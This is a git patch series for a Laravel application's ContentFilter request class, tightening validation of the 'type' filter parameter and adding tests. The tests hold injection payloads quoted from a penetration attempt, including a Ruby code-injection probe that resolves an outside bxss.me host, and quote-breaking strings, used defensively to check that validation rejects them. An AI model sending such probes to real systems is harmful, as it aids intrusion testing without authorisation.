From 408661ba910b14f0b53849a24a1f5387f36fb7bc Mon Sep 17 00:00:00 2001 From: edlib-oddarne Date: Fri, 13 Mar 2026 08:54:56 +0100 Subject: [PATCH 1/5] Add feature tests and validation for `type` filter in ContentFilter --- .../hub/app/Http/Requests/ContentFilter.php | 22 +++----- .../hub/tests/Feature/ContentFilterTest.php | 56 +++++++++++++++++++ 2 files changed, 65 insertions(+), 13 deletions(-) create mode 100644 sourcecode/hub/tests/Feature/ContentFilterTest.php diff --git a/sourcecode/hub/app/Http/Requests/ContentFilter.php b/sourcecode/hub/app/Http/Requests/ContentFilter.php index ae1aa0b7d..8ef886ac4 100644 --- a/sourcecode/hub/app/Http/Requests/ContentFilter.php +++ b/sourcecode/hub/app/Http/Requests/ContentFilter.php @@ -16,20 +16,20 @@ use Laravel\Scout\Builder; use Override; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; - use function abort; use function trans; class ContentFilter extends FormRequest { - /** @var Builder */ + /** @var Builder */ private Builder $builder; private bool $forUser = false; private bool $languageChanged = false; private bool $queryChanged = false; private bool $typesChanged = false; - #[Override] protected function failedValidation(Validator $validator): never + #[Override] + protected function failedValidation(Validator $validator): never { abort(404); } @@ -44,6 +44,7 @@ public function rules(): array 'language' => ['sometimes', 'string', 'max:100'], 'sort' => ['sometimes', Rule::in('created', 'updated', 'views')], 'type' => ['sometimes', 'array'], + 'type.*' => ['string', 'max:255', 'regex:/^[a-zA-Z0-9._-]+$/'], ]; } @@ -89,15 +90,13 @@ public function getLanguageOptions(bool $withExpectedHits = false): array return $options ->map( - fn(int $value, string $key) => - $key === '' - ? trans('messages.filter-language-all') - : (locale_get_display_name($key, $displayLocale) ?: (locale_get_display_name($key, $fallBack) ?: $key)), + fn(int $value, string $key) => $key === '' + ? trans('messages.filter-language-all') + : (locale_get_display_name($key, $displayLocale) ?: (locale_get_display_name($key, $fallBack) ?: $key)), ) ->when( $withExpectedHits, - fn(Collection $items) => - $items->map(fn(string $value, string $key) => sprintf('%s (%d)', $value, $options[$key] ?? 0)), + fn(Collection $items) => $items->map(fn(string $value, string $key) => sprintf('%s (%d)', $value, $options[$key] ?? 0)), ) ->sort() ->toArray(); @@ -217,8 +216,7 @@ public function applyCriteria(Builder $query): Builder count($this->getContentTypes()) > 0, fn(Builder $query) => $query ->whereIn('content_type', $this->getContentTypes()), - ) - ; + ); $this->builder = clone($query); @@ -306,8 +304,6 @@ public function getWithModel(Builder $builder, int $limit, bool $forUser = false */ private function attachModel(array $hits, bool $forUser, bool $showDrafts): Collection { - $hits = new Collection($hits); - $eagerLoad = ['users']; if ($showDrafts) { $eagerLoad[] = 'latestVersion'; diff --git a/sourcecode/hub/tests/Feature/ContentFilterTest.php b/sourcecode/hub/tests/Feature/ContentFilterTest.php new file mode 100644 index 000000000..d20c92950 --- /dev/null +++ b/sourcecode/hub/tests/Feature/ContentFilterTest.php @@ -0,0 +1,56 @@ + 'collection']); + + $response = $this->get(route('content.index', [ + 'type' => ['H5P.DragText', 'H5P.Flashcards'] + ])); + + $response->assertStatus(Response::HTTP_OK); + } + + public function test_content_index_handles_malformed_type_parameter() + { + $response = $this->get(route('content.index', [ + 'type' => ['""...".replace("z","o")"'] + ])); + $response->assertStatus(404); + + // Example payloads from a penetration attempt + $response = $this->get(route('content.index', [ + 'type' => ['"+"A".concat(70-3).concat(22*4).concat(108).concat(88).concat(104).concat(81)+(require"socket" Socket.gethostbyname("hitza"+"bwdoorkva3024.bxss.me.")[3].to_s)+"'] + ])); + $response->assertStatus(404); + + $response = $this->get(route('content.index', [ + 'type' => ['\'">'] + ])); + $response->assertStatus(404); + + $response = $this->get(route('content.index', [ + 'type' => ['Accordion\'"()&%'] + ])); + $response->assertStatus(404); + } + + public function test_content_index_handles_type_as_string() + { + $response = $this->get(route('content.index', [ + 'type' => 'string_value' + ])); + + $response->assertStatus(Response::HTTP_NOT_FOUND); + } +} From c0671d89156a660783dc01a864929c64c27aaf51 Mon Sep 17 00:00:00 2001 From: edlib-oddarne Date: Fri, 13 Mar 2026 09:08:37 +0100 Subject: [PATCH 2/5] Add feature tests and validation for `type` filter in ContentFilter --- .../hub/tests/Feature/ContentFilterTest.php | 57 +++++++------------ 1 file changed, 19 insertions(+), 38 deletions(-) diff --git a/sourcecode/hub/tests/Feature/ContentFilterTest.php b/sourcecode/hub/tests/Feature/ContentFilterTest.php index d20c92950..1dedf05d0 100644 --- a/sourcecode/hub/tests/Feature/ContentFilterTest.php +++ b/sourcecode/hub/tests/Feature/ContentFilterTest.php @@ -2,55 +2,36 @@ namespace Tests\Feature; +use App\Http\Requests\ContentFilter; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Http\Response; +use Illuminate\Support\Facades\Validator; use Tests\TestCase; class ContentFilterTest extends TestCase { - use RefreshDatabase; - - public function test_content_index_filters_by_h5p_types() + public function test_content_filter_validation() { - config(['scout.driver' => 'collection']); + $request = new ContentFilter(); + $rules = $request->rules(); - $response = $this->get(route('content.index', [ - 'type' => ['H5P.DragText', 'H5P.Flashcards'] - ])); + $validator = Validator::make(['type' => ['H5P.DragText', 'H5P.Flashcards', 'text']], $rules); + $this->assertTrue($validator->passes()); - $response->assertStatus(Response::HTTP_OK); - } + $validator = Validator::make(['type' => ['""...".replace("z","o")"']], $rules); + $this->assertTrue($validator->fails()); - public function test_content_index_handles_malformed_type_parameter() - { - $response = $this->get(route('content.index', [ - 'type' => ['""...".replace("z","o")"'] - ])); - $response->assertStatus(404); - - // Example payloads from a penetration attempt - $response = $this->get(route('content.index', [ - 'type' => ['"+"A".concat(70-3).concat(22*4).concat(108).concat(88).concat(104).concat(81)+(require"socket" Socket.gethostbyname("hitza"+"bwdoorkva3024.bxss.me.")[3].to_s)+"'] - ])); - $response->assertStatus(404); - - $response = $this->get(route('content.index', [ - 'type' => ['\'">'] - ])); - $response->assertStatus(404); - - $response = $this->get(route('content.index', [ - 'type' => ['Accordion\'"()&%'] - ])); - $response->assertStatus(404); - } + $validator = Validator::make(['type' => ['+A'.chr(70-3).chr(22*4).chr(108).chr(88).chr(104).chr(81).'require"socket" Socket.gethostbyname("hitza"+"bwdoorkva3024.bxss.me.")[3].to_s+"']], $rules); + $this->assertTrue($validator->fails()); - public function test_content_index_handles_type_as_string() - { - $response = $this->get(route('content.index', [ - 'type' => 'string_value' - ])); + $validator = Validator::make(['type' => ['\'">']], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['type' => ['Accordion\'"()&%']], $rules); + $this->assertTrue($validator->fails()); - $response->assertStatus(Response::HTTP_NOT_FOUND); + $validator = Validator::make(['type' => 'string_value'], $rules); + $this->assertTrue($validator->fails()); } + } From 2fe7f3e685cb55358f92659aa132391902365e96 Mon Sep 17 00:00:00 2001 From: edlib-oddarne Date: Fri, 13 Mar 2026 10:21:54 +0100 Subject: [PATCH 3/5] Add validation and feature test for `type` filter to return 404 on invalid input --- .../hub/tests/Feature/ContentFilterTest.php | 27 ++++++++++++++----- 1 file changed, 20 insertions(+), 7 deletions(-) diff --git a/sourcecode/hub/tests/Feature/ContentFilterTest.php b/sourcecode/hub/tests/Feature/ContentFilterTest.php index 1dedf05d0..d32357876 100644 --- a/sourcecode/hub/tests/Feature/ContentFilterTest.php +++ b/sourcecode/hub/tests/Feature/ContentFilterTest.php @@ -3,25 +3,30 @@ namespace Tests\Feature; use App\Http\Requests\ContentFilter; -use Illuminate\Foundation\Testing\RefreshDatabase; -use Illuminate\Http\Response; use Illuminate\Support\Facades\Validator; use Tests\TestCase; class ContentFilterTest extends TestCase { - public function test_content_filter_validation() + public function test_content_filter_validation_of_type() { $request = new ContentFilter(); $rules = $request->rules(); + $validator = Validator::make([], $rules); + $this->assertTrue($validator->passes()); + $validator = Validator::make(['type' => ['H5P.DragText', 'H5P.Flashcards', 'text']], $rules); $this->assertTrue($validator->passes()); + $validator = Validator::make(['type' => 'string_value'], $rules); + $this->assertTrue($validator->fails()); + + // Some payloads from a penetration attempt $validator = Validator::make(['type' => ['""...".replace("z","o")"']], $rules); $this->assertTrue($validator->fails()); - $validator = Validator::make(['type' => ['+A'.chr(70-3).chr(22*4).chr(108).chr(88).chr(104).chr(81).'require"socket" Socket.gethostbyname("hitza"+"bwdoorkva3024.bxss.me.")[3].to_s+"']], $rules); + $validator = Validator::make(['type' => ['+A' . chr(70 - 3) . chr(22 * 4) . chr(108) . chr(88) . chr(104) . chr(81) . 'require"socket" Socket.gethostbyname("hitza"+"bwdoorkva3024.bxss.me.")[3].to_s+"']], $rules); $this->assertTrue($validator->fails()); $validator = Validator::make(['type' => ['\'">']], $rules); @@ -29,9 +34,17 @@ public function test_content_filter_validation() $validator = Validator::make(['type' => ['Accordion\'"()&%']], $rules); $this->assertTrue($validator->fails()); - - $validator = Validator::make(['type' => 'string_value'], $rules); - $this->assertTrue($validator->fails()); } + public function test_content_index_returns_404_on_failing_validation() + { + $response = $this->getJson(route('content.index', ['type' => 'string_value'])); + $response->assertStatus(404); + + $response = $this->getJson(route('content.index', ['type' => ['""...".replace("z","o")"']])); + $response->assertStatus(404); + + $response = $this->getJson(route('content.index', ['type' => ['Accordion\'"()&%']])); + $response->assertStatus(404); + } } From 9f105ce24162f3d63fa16f66736b61e456283f12 Mon Sep 17 00:00:00 2001 From: edlib-oddarne Date: Fri, 13 Mar 2026 10:33:53 +0100 Subject: [PATCH 4/5] Add `void` return type to `ContentFilterTest` methods and suppress PHPStan warnings in `ContentFilter` --- sourcecode/hub/app/Http/Requests/ContentFilter.php | 2 ++ sourcecode/hub/tests/Feature/ContentFilterTest.php | 4 ++-- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/sourcecode/hub/app/Http/Requests/ContentFilter.php b/sourcecode/hub/app/Http/Requests/ContentFilter.php index 8ef886ac4..b0fbad62f 100644 --- a/sourcecode/hub/app/Http/Requests/ContentFilter.php +++ b/sourcecode/hub/app/Http/Requests/ContentFilter.php @@ -312,12 +312,14 @@ private function attachModel(array $hits, bool $forUser, bool $showDrafts): Coll $eagerLoad[] = 'latestPublishedVersion'; } + /** @phpstan-ignore-next-line */ $contents = Content::whereIn('id', $hits->pluck('id')) ->with($eagerLoad) ->withCount(['views']) ->get() ->keyBy('id'); + /** @phpstan-ignore-next-line */ return $hits ->map(fn(array $item) => [ ...$item, diff --git a/sourcecode/hub/tests/Feature/ContentFilterTest.php b/sourcecode/hub/tests/Feature/ContentFilterTest.php index d32357876..b71015876 100644 --- a/sourcecode/hub/tests/Feature/ContentFilterTest.php +++ b/sourcecode/hub/tests/Feature/ContentFilterTest.php @@ -8,7 +8,7 @@ class ContentFilterTest extends TestCase { - public function test_content_filter_validation_of_type() + public function test_content_filter_validation_of_type(): void { $request = new ContentFilter(); $rules = $request->rules(); @@ -36,7 +36,7 @@ public function test_content_filter_validation_of_type() $this->assertTrue($validator->fails()); } - public function test_content_index_returns_404_on_failing_validation() + public function test_content_index_returns_404_on_failing_validation(): void { $response = $this->getJson(route('content.index', ['type' => 'string_value'])); $response->assertStatus(404); From c305bde0ceb6682f801dd3f791996b0ed20237a4 Mon Sep 17 00:00:00 2001 From: edlib-oddarne Date: Fri, 13 Mar 2026 12:54:12 +0100 Subject: [PATCH 5/5] Update `ContentFilter` sort validation and extend test coverage --- .../hub/app/Http/Requests/ContentFilter.php | 4 +-- .../hub/tests/Feature/ContentFilterTest.php | 34 +++++++++++++++---- 2 files changed, 29 insertions(+), 9 deletions(-) diff --git a/sourcecode/hub/app/Http/Requests/ContentFilter.php b/sourcecode/hub/app/Http/Requests/ContentFilter.php index b0fbad62f..5108539a2 100644 --- a/sourcecode/hub/app/Http/Requests/ContentFilter.php +++ b/sourcecode/hub/app/Http/Requests/ContentFilter.php @@ -42,9 +42,9 @@ public function rules(): array return [ 'q' => ['sometimes', 'string', 'max:300'], 'language' => ['sometimes', 'string', 'max:100'], - 'sort' => ['sometimes', Rule::in('created', 'updated', 'views')], + 'sort' => ['sometimes', 'required', Rule::in('created', 'updated', 'views')], 'type' => ['sometimes', 'array'], - 'type.*' => ['string', 'max:255', 'regex:/^[a-zA-Z0-9._-]+$/'], + 'type.*' => ['string', 'max:255', 'regex:/^[a-zA-Z0-9._+ ]+$/'], ]; } diff --git a/sourcecode/hub/tests/Feature/ContentFilterTest.php b/sourcecode/hub/tests/Feature/ContentFilterTest.php index b71015876..3dc1d8eab 100644 --- a/sourcecode/hub/tests/Feature/ContentFilterTest.php +++ b/sourcecode/hub/tests/Feature/ContentFilterTest.php @@ -8,7 +8,7 @@ class ContentFilterTest extends TestCase { - public function test_content_filter_validation_of_type(): void + public function testContentFilterValidation(): void { $request = new ContentFilter(); $rules = $request->rules(); @@ -16,9 +16,16 @@ public function test_content_filter_validation_of_type(): void $validator = Validator::make([], $rules); $this->assertTrue($validator->passes()); - $validator = Validator::make(['type' => ['H5P.DragText', 'H5P.Flashcards', 'text']], $rules); + // Type parameter + $validator = Validator::make(['type' => ['H5P.DragText', 'H5P.Flashcards', 'text', 'something else', 'something different']], $rules); $this->assertTrue($validator->passes()); + $validator = Validator::make(['type' => ["string\nvalue"]], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['type' => ["string\tvalue"]], $rules); + $this->assertTrue($validator->fails()); + $validator = Validator::make(['type' => 'string_value'], $rules); $this->assertTrue($validator->fails()); @@ -34,17 +41,30 @@ public function test_content_filter_validation_of_type(): void $validator = Validator::make(['type' => ['Accordion\'"()&%']], $rules); $this->assertTrue($validator->fails()); + + // Sort parameter + $validator = Validator::make(['sort' => ''], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['sort' => null], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['sort' => 'not valid'], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['sort' => ['updated']], $rules); + $this->assertTrue($validator->fails()); + + $validator = Validator::make(['sort' => 'created'], $rules); + $this->assertTrue($validator->passes()); } - public function test_content_index_returns_404_on_failing_validation(): void + public function testContentIndexReturns404OnFailingValidation(): void { $response = $this->getJson(route('content.index', ['type' => 'string_value'])); $response->assertStatus(404); - $response = $this->getJson(route('content.index', ['type' => ['""...".replace("z","o")"']])); - $response->assertStatus(404); - - $response = $this->getJson(route('content.index', ['type' => ['Accordion\'"()&%']])); + $response = $this->getJson(route('content.index', ['sort' => ''])); $response->assertStatus(404); } }